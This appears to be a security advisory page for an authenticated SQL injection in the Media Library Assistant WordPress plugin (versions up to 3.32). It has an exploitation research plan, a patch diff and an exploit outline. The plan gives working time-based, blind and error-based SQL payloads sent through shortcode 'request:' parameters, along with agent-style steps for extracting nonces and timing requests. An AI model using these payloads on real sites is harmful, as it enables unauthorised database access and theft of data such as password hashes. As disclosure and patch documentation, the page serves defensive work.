Media LIbrary Assistant <= 3.32 - Authenticated (Contributor+) SQL Injection
Description
The Media LIbrary Assistant plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.32 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.32What Changed in the Fix
Changes introduced in v3.33
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-32399 (Media Library Assistant) ## 1. Vulnerability Summary The **Media Library Assistant** plugin for WordPress is vulnerable to **Authenticated SQL Injection** via shortcode attributes in versions up to and including **3.32**. The vulnerability exists becau…
Show full research plan
Exploitation Research Plan - CVE-2026-32399 (Media Library Assistant)
1. Vulnerability Summary
The Media Library Assistant plugin for WordPress is vulnerable to Authenticated SQL Injection via shortcode attributes in versions up to and including 3.32. The vulnerability exists because the plugin allows users to map shortcode attributes to URL parameters using the request: prefix, but fails to sufficiently escape or prepare the resulting values before incorporating them into SQL queries. Attackers with Contributor-level permissions can use this to extract sensitive database information via time-based or error-based SQL injection.
2. Attack Vector Analysis
- Entry Point: The
[mla_gallery]or[mla_tag_cloud]shortcode placed within a post or page. - Vulnerable Feature: The
request:prefix processing for shortcode attributes. - Vulnerable Parameter: Attributes like
orderby,ids, ormeta_querywhen mapped to a request variable (e.g.,orderby="request:sqli_param"). - Authentication: Authenticated (Contributor+). Contributors can create posts/pages and preview them, which triggers shortcode rendering.
- Preconditions:
- The attacker must have a Contributor account.
- The plugin must be active.
- At least one attachment (Media Library item) should exist to ensure the gallery logic executes.
3. Code Flow
- Entry: A user with Contributor permissions creates a post and inserts a shortcode:
[mla_gallery orderby="request:sort"]. - Processing: When the post is previewed or viewed,
MLAShortcodes::mla_gallery_shortcode()(inincludes/class-mla-shortcodes.php) is triggered. - Attribute Mapping: The code calls
MLAShortcode_Support::mla_get_shortcode_attachments()(inincludes/class-mla-shortcode-support.php). - Request Prefix Logic: The plugin identifies the
request:prefix in theorderbyattribute. It retrieves the value of$_REQUEST['sort']. - SQL Construction: The retrieved value (e.g.,
ID, (SELECT SLEEP(5))) is concatenated into the SQL query or passed into a query argument array that MLA uses to build a custom query. - Sink: The malformed SQL is executed via
$wpdb->get_results()without sufficient preparation (missing or misusedwpdb->prepare()).
4. Nonce Acquisition Strategy
This vulnerability is exploited through shortcode execution on the frontend or during a post preview. Typically, no nonce is required to trigger shortcode rendering once the attacker has permissions to create/edit a post.
However, if an AJAX-based attack against mla-query-attachments is required as an alternative:
- Identify Script: The plugin enqueues the
mla-inline-edit-scripts(slug defined inMLACore::JAVASCRIPT_INLINE_EDIT_SLUG). - Variable Name: The localized data is typically found in the
mla_inline_edit_varsobject. - Extraction:
- Create a post with an MLA shortcode or navigate to the Media Library.
- Use
browser_evalto extract:window.mla_inline_edit_vars?.mla_admin_nonce. - The action string for this nonce is
MLACore::MLA_ADMIN_NONCE_ACTION(mla_admin_nonce_action).
5. Exploitation Strategy
The most direct method is using the [mla_gallery] shortcode with a time-based payload.
Step 1: Login and Content Setup
- Authenticate as a Contributor.
- Create a new post/page.
- Insert the following shortcode:
[mla_gallery mla_output="csv" orderby="request:sqli"]. - Publish or Save as Draft. Note the Post ID (e.g.,
123).
Step 2: Trigger SQL Injection
Send a request to the post URL with the malicious payload in the sqli parameter.
Request:
GET /?p=123&sqli=ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) HTTP/1.1 Host: localhost Cookie: [Contributor Cookies]Payload Analysis:
Theorderbyattribute will becomeID,(SELECT(1)FROM(SELECT(SLEEP(5)))a).
The resulting SQL will look like:SELECT ... ORDER BY ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) LIMIT ....
This is a valid SQL construct that triggers a 5-second delay.
Step 3: Data Extraction (Information Disclosure)
Use boolean-blind or error-based techniques to leak the database version or user hashes.
- Payload (Database Version):
sqli=ID,(SELECT(IF(VERSION() LIKE '8%',SLEEP(5),0)))
6. Test Data Setup
- User: Contributor (
user: attacker,pass: password). - Media: Upload at least one image to the Media Library.
- Shortcode Page:
- Title:
SQLi Test - Content:
[mla_gallery mla_output="csv" orderby="request:inject"]
- Title:
7. Expected Results
- A request to
/?p=123&inject=IDshould return immediately. - A request to
/?p=123&inject=ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a)should take approximately 5 seconds to respond. - If
mla_output="csv"is used, the response body might contain leaked data if aUNIONis possible, thoughORDER BYinjection usually favors time-based/boolean-blind.
8. Verification Steps
- Check Timing: Use the
http_requesttool to measure theelapsed_timeof the request. - WP-CLI check: After testing, confirm the database state is unchanged (since it's a
C:Hvulnerability, only reading is expected).wp eval "global \$wpdb; echo \$wpdb->last_error;"(to see if recent queries logged errors).
9. Alternative Approaches
- ids Attribute: Try
[mla_gallery ids="request:sqli"].- Payload:
1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - This targets the
INclause logic inMLAShortcode_Support::mla_get_shortcode_attachments.
- Payload:
- mla_tag_cloud: Use
[mla_tag_cloud taxonomy="attachment_tag" orderby="request:sqli"].- This targets the
mla_get_termsfunction which likely handles its own database queries.
- This targets the
- Error-Based: Use
sqli=ID,updatexml(1,concat(0x7e,version(),0x7e),1)if the site hasWP_DEBUGenabled or MLA logs errors to the screen.
Summary
The Media Library Assistant plugin for WordPress is vulnerable to SQL Injection via shortcode attributes (such as 'orderby', 'fields', or 'ids') in versions up to 3.32. Attackers with Contributor-level permissions or higher can exploit this by using the plugin's 'request:' prefix feature to map shortcode attributes to malicious URL parameters, leading to the execution of arbitrary SQL commands.
Vulnerable Code
// includes/class-mla-shortcode-support.php line 4981 $no_count = true; $count_string = trim( strtolower( (string) $arguments['no_count'] ) ); $field_array = explode( ',', $arguments['fields'] ); switch ( $count_string ) { // ... later in the function, these fields are used to construct SQL queries without sufficient preparation.
Security Fix
@@ -4872,6 +4887,49 @@ } // mla_get_all_none_term_counts /** + * Valid database fields for function mla_get_terms() + * + * @since 3.33 + * + * @var array + */ + private static $mla_get_terms_fields = array( + 't.term_id', + 't.name', + 't.slug', + 't.term_group', + 't.term_icon', + 'tt.term_taxonomy_id', + 'tt.term_id', + 'tt.taxonomy', + 'tt.description', + 'tt.parent', + 'tt.count', + 'COUNT(p.ID) AS `count`', + ); + + /** + * Validate database fields in SELECT clause to prevent SQL injection attacks + * + * @since 3.33 + * + * @param string comma-separated string of qualified field names, e.g., tt.taxonomy + * + * @return array exploded array of validated field names, or false if validation fails + */ + private static function mla_validate_get_terms_fields( $fields ) { + $fields = array_map( 'trim', explode( ',', $fields ) ); + + foreach ( $fields as $index => $field ) { + if ( ! in_array( $field, self::$mla_get_terms_fields ) ) { + unset( $fields[ $index ] ); + } + } + + return $fields; + } + + /** * Data selection parameters for [mla_tag_cloud], [mla_term_list] * * @since 2.20 @@ -4981,7 +5039,7 @@ */ $no_count = true; $count_string = trim( strtolower( (string) $arguments['no_count'] ) ); - $field_array = explode( ',', $arguments['fields'] ); + $field_array = self::mla_validate_get_terms_fields( $arguments['fields'] ); switch ( $count_string ) {
Exploit Outline
1. An attacker with Contributor-level access creates or edits a WordPress post or page. 2. The attacker inserts a shortcode from the plugin (e.g., [mla_gallery] or [mla_tag_cloud]) and uses the 'request:' prefix for an attribute that influences the SQL query, such as: [mla_gallery orderby="request:sort_param"]. 3. The attacker views or previews the post, appending the malicious SQL payload to the URL via the specified parameter: /?p=POST_ID&sort_param=ID,(SELECT(SLEEP(5))). 4. The plugin retrieves the value from the $_REQUEST['sort_param'], fails to sanitize it, and concatenates it directly into a SQL query. 5. The database executes the injected SQL (e.g., a time-based SLEEP command), allowing the attacker to infer database contents or extract information.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.